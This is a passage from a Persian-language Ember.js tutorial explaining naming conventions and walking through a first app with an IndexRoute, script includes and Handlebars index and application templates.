اگر به مثال‌های فوق دقت کرده باشید، خواصی مانند GalleryController و یا GalleryRoute به شیء App اضافه شده‌اند. این نوع نامگذاری‌ها در ember.js بر اساس روش convention over configuration کار می‌کنند. برای نمونه اگر مسیریابی خاصی را به نحو ذیل تعریف کردید:
 this.resource('employees');
شیء مسیریابی آن App.EmployeesRoute
کنترلر آن App.EmployeesController
مدل آن App.Employee
View آن App.EmployeesView
و قالب آن employees
بهتر است تعریف شوند. به عبارتی اگر اینگونه تعریف شوند، به صورت خودکار توسط Ember.js یافت شده و هر کدام با مسئولیت‌های خاص مرتبط با آن‌ها پردازش می‌شوند و همچنین ارتباطات بین آن‌ها به صورت خودکار برقرار خواهد شد. به این ترتیب برنامه نظم بهتری خواهد یافت. با یک نگاه می‌توان قسمت‌های مختلف را تشخیص داد و همچنین کدنویسی پردازش و اتصال قسمت‌های مختلف برنامه نیز به شدت کاهش می‌یابد.


تهیه‌ی اولین برنامه‌ی Ember.js
تا اینجا نگاهی مقدماتی داشتیم به اجزای تشکیل دهنده‌ی هسته‌ی Ember.js. در ادامه مثال ساده‌ای را جهت نمایش ساختار ابتدایی یک برنامه‌ی Ember.js، بررسی خواهیم کرد.
بسته‌ی Ember.js را همانطور که در قسمت منابع اصلی آن در ابتدای بحث عنوان شد، می‌توانید از سایت و یا مخزن کد آن دریافت کنید و یا اگر از VS.NET استفاده می‌کنید، تنها کافی است دستور ذیل را صادر نمائید:
 PM> Install-Package EmberJS
پس از اضافه شدن فایل‌های js آن به پوشه‌ی Scripts برنامه، در همان پوشه‌، فایل جدید Scripts\app.js را نیز اضافه کنید. از آن برای افزودن تعاریف کدهای Ember.js استفاده خواهیم کرد.
در این حالت ترتیب تعریف اسکریپت‌های مورد نیاز صفحه به صورت ذیل خواهند بود:
<script src="Scripts/jquery-2.1.1.js" type="text/javascript"></script>
<script src="Scripts/handlebars.js" type="text/javascript"></script>
<script src="Scripts/ember.js" type="text/javascript"></script>
<script src="Scripts/app.js" type="text/javascript"></script>
کدهای ابتدایی فایل app.js جهت وهله سازی شیء Application و سپس تعریف مسیریابی صفحه‌ی index بر اساس روش convention over configuration به همراه تعریف یک کنترلر و افزودن متغیری به نام content به آن که با یک آرایه مقدار دهی شده‌است:
App = Ember.Application.create();
App.IndexRoute = Ember.Route.extend({
    setupController:function(controller) {
        controller.set('content', ['red', 'yellow', 'blue']);
    }
});
باید دقت داشت که تعریف مقدماتی Ember.Application.create به همراه یک سری تنظیمات پیش فرض نیز هست. برای مثال مسیریابی index به صورت خودکار به نحو ذیل توسط آن تعریف خواهد شد و نیازی به تعریف مجدد آن نیست:
App.Router.map(function() {
    this.resource('application'); 
    this.resource('index');
});
سپس برای اتصال این کنترلر به یک template خواهیم داشت:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title></title>
    <script src="Scripts/jquery-2.1.1.js" type="text/javascript"></script>
    <script src="Scripts/handlebars.js" type="text/javascript"></script>
    <script src="Scripts/ember.js" type="text/javascript"></script>
    <script src="Scripts/app.js" type="text/javascript"></script>
</head>
<body>
    <script type="text/x-handlebars" data-template-name="index">
        Hello,
        <strong>Welcome to Ember.js</strong>!
        <ul>
            {{#each item in content}}
            <li>
                {{item}}
            </li>
            {{/each}}
        </ul>
    </script>
</body>
</html>
توسط اسکریپتی از نوع text/x-handlebars، اطلاعات آرایه content دریافت و در طی یک حلقه در صفحه نمایش داده خواهد شد.
مقدار data-template-name در اینجا مهم است. اگر آن‌را به هر نام دیگری بجز index تنظیم کنید، منبع دریافت اطلاعات آن مشخص نخواهد بود. نام index در اینجا به معنای اتصال این قالب به اطلاعات ارائه شده توسط کنترلر index است.

تا همینجا اگر برنامه را اجرا کنید، به خوبی کار خواهد کرد. نکته‌ی دیگری که در مورد قالب‌های Ember.js قابل توجه هستند، قالب پیش فرض application است. با تعریف Ember.Application.create یک چنین قالبی نیز به ابتدای هر صفحه به صورت خودکار اضافه خواهد شد:
<body>
    <script type="text/x-handlebars" data-template-name="application">
        <h1>Header</h1>
        {{outlet}}
    </script>
outlet واژه‌‌ای است کلیدی که سبب رندر سایر قالب‌های تعریف شده در صفحه می‌گردد. مقدار data-template-name آن نیز به application تنظیم شده‌است (اگر این مقدار ذکر نگردد نیز به صورت خودکار از application استفاده می‌شود). برای مثال اگر بخواهید به تمام قالب‌های رندر شده در صفحات مختلف، مقدار ثابتی را اضافه کنید (مانند هدر یا منو)، می‌توان قالب application را به صورت دستی به نحو فوق اضافه کرد و آن‌را سفارشی سازی نمود.



کدهای کامل این قسمت را از اینجا می‌توانید دریافت کنید:
EmberJS01.zip